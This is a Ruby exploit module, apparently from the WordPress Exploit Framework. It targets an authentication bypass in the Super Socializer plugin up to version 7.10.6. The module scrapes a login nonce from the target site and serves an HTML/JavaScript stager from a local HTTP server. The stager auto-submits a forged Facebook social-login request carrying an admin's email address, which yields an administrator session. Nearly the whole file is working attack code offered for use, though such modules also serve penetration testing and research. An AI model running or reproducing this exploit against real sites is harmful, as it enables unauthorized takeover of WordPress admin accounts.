# frozen_string_literal: true

class Wpxf::Auxiliary::SuperSocializerAuthBypass < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpServer

  def initialize
    super

    update_info(
      name: 'Super Socializer <= 7.10.6 Authentication Bypass',
      desc: %(
        Super Socializer <= 7.10.6 is vulnerable to an
        authentication bypass exploit if an attacker is
        in posession of an admin's e-mail address and the
        social login feature is enabled.

        This module will launch a HTTP server, which when
        visited will automate the bypass process, and
        provide an admin session.
      ),
      author: [
        'rastating' # WPXF module
      ],
      references: [
        ['WPVDB', '9043']
      ],
      date: 'Mar 03 2018'
    )

    register_options([
      StringOption.new(
        name: 'admin_email',
        desc: 'The e-mail address of the admin user to authenticate as',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_readme('super-socializer', '7.10.7')
  end

  def stager
    %(
      <html>
      <head>
      </head>
      <body>
        <script>
          var url = '#{full_uri}',
            email = '#{datastore['admin_email']}',
            nonce = '#{login_nonce}';

          function exploit() {
            var param = {
              action: 'the_champ_user_auth',
              security: nonce,
              'profileData[id]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
              'profileData[link]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
              'profileData[name]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
              'profileData[email]': email,
              'profileData[first_name]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
              'profileData[last_name]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
              provider: 'facebook',
              redirectionUrl: encodeURI(url)
            };
            var wnd = OpenWindowWithPost("#{wordpress_url_admin_ajax}",
              "width=700,height=345,left=100,top=100,resizable=yes,scrollbars=yes", "exploit", param);


            setTimeout(function() {
              wnd.close();
              window.location.replace("#{wordpress_url_admin}");
            }, 2000);
          }

          function OpenWindowWithPost(url, windowoption, name, params) {
            var form = document.createElement("form");
            form.setAttribute("method", "post");
            form.setAttribute("action", url);
            form.setAttribute("target", name);

            for (var i in params) {
              if (params.hasOwnProperty(i)) {
                var input = document.createElement('input');
                input.type = 'hidden';
                input.name = i;
                input.value = params[i];
                form.appendChild(input);
              }
            }

            document.body.appendChild(form);

            var wnd = window.open("", name, windowoption);

            form.submit();

            document.body.removeChild(form);

            return wnd;
          }

          document.addEventListener("DOMContentLoaded", function(event) {
            exploit();
          })
        </script>
      </body>
      </html>
    )
  end

  def on_http_request(*)
    emit_info 'Serving stager...'
    {
      type: 'text/html',
      body: stager
    }
  end

  def fetch_nonce
    emit_info 'Fetching a login nonce...'
    res = execute_get_request(url: wordpress_url_login)
    return false unless res&.code == 200

    pattern = /var\sthe_champ_sl_ajax_token\s=\s{"ajax_url":".+?","security":"([a-z0-9]+?)"};/i
    self.login_nonce = res.body[pattern, 1]

    if login_nonce.nil?
      emit_error 'Failed to fetch a login nonce'
      return false
    else
      emit_success "Found nonce: #{login_nonce}", true
      return true
    end
  end

  def run
    return false unless super
    return false unless fetch_nonce

    address = http_server_bind_address
    address = 'localhost' if address == '0.0.0.0'

    emit_info "Visit http://#{address}:#{http_server_bind_port} to login."
    emit_warning 'If your browser blocks the popup, be sure to allow it.'

    start_http_server
    true
  end

  attr_accessor :login_nonce
end
